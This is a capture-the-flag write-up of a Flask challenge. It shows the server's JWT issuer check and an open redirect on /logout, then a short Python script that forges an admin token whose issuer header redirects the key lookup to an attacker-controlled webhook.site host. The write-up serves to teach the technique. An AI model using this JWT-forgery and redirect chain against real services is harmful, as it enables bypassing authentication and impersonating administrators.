Tags: redirection jwt
Rating:
This challenge is very clear about what to do. I have read of the exploit some time ago but actually crafting one is super fun.
Upon visiting the site, we're greeted by this friendly message:

OK. After pulling the source down I checked if there's any outdated packages - none.
I was not very familiar with the Python Flask framework but here's a summary:
template.html template due to @app.after_request (remark: there is no SSTI)/api/flag as admin will give us the flag right away. (remark: this can be confirmed by removing the authorize code)The key here is that we can CHOOSE our host for the jwks.json:
valid_issuer_domain = os.getenv("HOST")
valid_algo = "RS256"
def get_public_key_url(token):
is_valid_issuer = lambda issuer: urlparse(issuer).netloc == valid_issuer_domain
header = jwt.get_unverified_header(token)
if "issuer" not in header:
raise Exception("issuer not found in JWT header")
token_issuer = header["issuer"]
if not is_valid_issuer(token_issuer):
raise Exception(
"Invalid issuer netloc: {issuer}. Should be: {valid_issuer}".format(
issuer=urlparse(token_issuer).netloc, valid_issuer=valid_issuer_domain
)
)
pubkey_url = "{host}/.well-known/jwks.json".format(host=token_issuer)
return pubkey_url
While the domain is whitelisted and a proper URL check is done (as opposed to cringy /^http:\/\/localhost:8080/), there's another open-redirect vulnerability. Namely we can redirect the server to our own domain, bypassing the whitelist:
@app.route("/logout")
def logout():
session.clear()
redirect_uri = request.args.get('redirect', url_for('home'))
return redirect(redirect_uri)
This is basically a challenge based on https://www.invicti.com/blog/web-security/json-web-token-jwt-attacks-vulnerabilities/, which included this exact exploitation path.
Now comes the technical part:
import jwt
private_key = open("private.pem").read().strip()
public_key = open("public.pem").read().strip()
encoded=jwt.encode({"user":"admin"}, private_key, algorithm="RS256",
headers={"issuer":"http://localhost:8080/logout?redirect=https://webhook.site/..."})
The flag should come to you in no time.